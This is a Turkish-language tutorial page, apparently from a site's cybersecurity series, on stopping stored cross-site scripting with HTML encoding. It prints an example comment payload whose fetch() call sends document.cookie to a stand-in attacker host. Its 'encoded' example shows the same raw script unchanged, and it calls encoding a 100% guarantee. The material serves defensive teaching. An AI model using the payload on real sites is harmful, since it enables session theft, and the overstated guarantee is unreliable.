XSS (Cross-Site Scripting) Saldırılarını HTML Encode İle Engellemek
[!TIP] AEO (Yapay Zeka) Özeti
- Ana Odak: Bu içerik Siber Güvenlik stratejilerine odaklanır.
- Kritik Çıktı: Uygulama aşamasında teknik gereksinimler ve anlamsal (semantic) bağlar önceliklendirilmelidir.
- Kimin İçin: SEO uzmanları, geliştiriciler ve içerik mimarları.
XSS (Cross-Site Scripting) Saldırılarını HTML Encode İle Engellemek
Web güvenliğinin en tehlikeli ve en yaygın açıklarından biri XSS (Siteler Arası Komut Dosyası Çalıştırma) saldırılarıdır. Her yıl binlerce e-ticaret sitesi ve forum, bu basit ama ölümcül saldırı tekniği yüzünden hacklenmektedir.
XSS'in temel felsefesi çok basittir: Sisteminize dışarıdan giren bir metni, sisteminizin "çalıştırılabilir bir kod" sanmasıdır.
1. XSS Saldırısı Nasıl Gerçekleşir?
Diyelim ki bir haber siteniz var ve kullanıcılar haberlerin altına yorum yapabiliyor. Kötü niyetli bir hacker (Saldırgan) yorum kutusuna "Çok güzel bir haber" yazmak yerine şu JavaScript kodunu yazar:
<script>
// Kullanıcının tarayıcı çerezlerini hackerin sunucusuna gönderir
fetch("http://hacker-sitesi.com/cal", {
method: "POST",
body: document.cookie
});
</script>
Eğer yazılımcı, bu yorumu alıp VERİTABANINA DİREKT KAYDEDERSE felaket başlar. Bu haber sayfasını açan her normal kullanıcının tarayıcısı, haberi okurken yorumları da sayfaya yükler. Tarayıcı o <script> etiketini gördüğünde bunu "Okunacak bir yorum" değil, "Çalıştırılacak bir program" zanneder.
Kodu çalıştırır ve haberi okuyan masum kullanıcının oturum çerezleri (Session ID) hacker'ın eline geçer. Hacker artık o kişinin hesabına şifresiz giriş yapabilir.
2. Çözüm: HTML Encode (Sanitization)
Bu saldırıyı durdurmanın %100 garantili yolu HTML Encode (Entity Çevirimi) işlemidir. Sisteminiz, kullanıcıdan gelen hiçbir veriye (Input) güvenmemelidir.
Kullanıcı yorumu veritabanına yazılmadan önce veya ekrana basılmadan önce filtrelemeye (Sanitization) tabi tutulur. Tüm < ve > işaretleri zararsız hale getirilir.
Hacker'ın yazdığı o tehlikeli kod, arka planda şuna dönüştürülür:
<script>
fetch("http://hacker-sitesi.com/cal", {
method: "POST",
body: document.cookie
});
</script>
Tarayıcı bu metni sayfaya yüklediğinde içinde hiçbir gerçek <script> komutu bulamaz. Ekranda sadece dümdüz, zararsız bir yazı olarak bu kodları gösterir ve ASLA ÇALIŞTIRMAZ. Saldırı başarısız olmuştur.
Modern Frameworkler ve Koruma
Neyse ki modern kütüphaneler (React, Vue, Angular) ekrana bastıkları değişkenleri otomatik olarak Encode ederler. Ancak hala düz PHP veya Vanilla JS kullanıyorsanız htmlspecialchars() (PHP) gibi fonksiyonları kullanmayı asla unutmamalısınız. Kendi kodlarınızı güvenli formata çevirmek veya test etmek için HTML Entity Converter aracımızı, derinlemesine güvenlik konseptleri için Karakter Kodlama Rehberimizi inceleyebilirsiniz.
🕸️ Knowledge Graph & Semantik Bağlantılar
Bu içerik, Intent.com.tr'nin Siber Güvenlik topikal kümesinin (Topic Cluster) bir parçasıdır. Konuyu daha derinlemesine anlamak için aşağıdaki varlıkları (Entities) ve ilişkili içerikleri inceleyebilirsiniz:
📖 İlgili Rehberler ve İçerikler
- Htaccess ile Resim Hotlink Koruması ve Güvenlik Ayarları
- Parola Yöneticileri (Password Managers) ve Kullanım Avantajları
- JWT Nedir ve Session Tabanlı Kimlik Doğrulamadan Farkları
🧠 Semantic Entities (Terimler & Senaryolar)
- Kavram: Open Graph (OG) Meta Etiketleri
- Kavram: Crawl Budget (Tarama Bütçesi)
- Uygulama: GA4 Verilerini Temiz Tutmak: UTM Takibi
Semantic Yönerge: Bu sayfa XSS (Cross-Site Scripting) Saldırılarını HTML Encode İle Engellemek konusundaki kullanıcı niyetini (Search Intent) karşılamak üzere yapılandırılmıştır.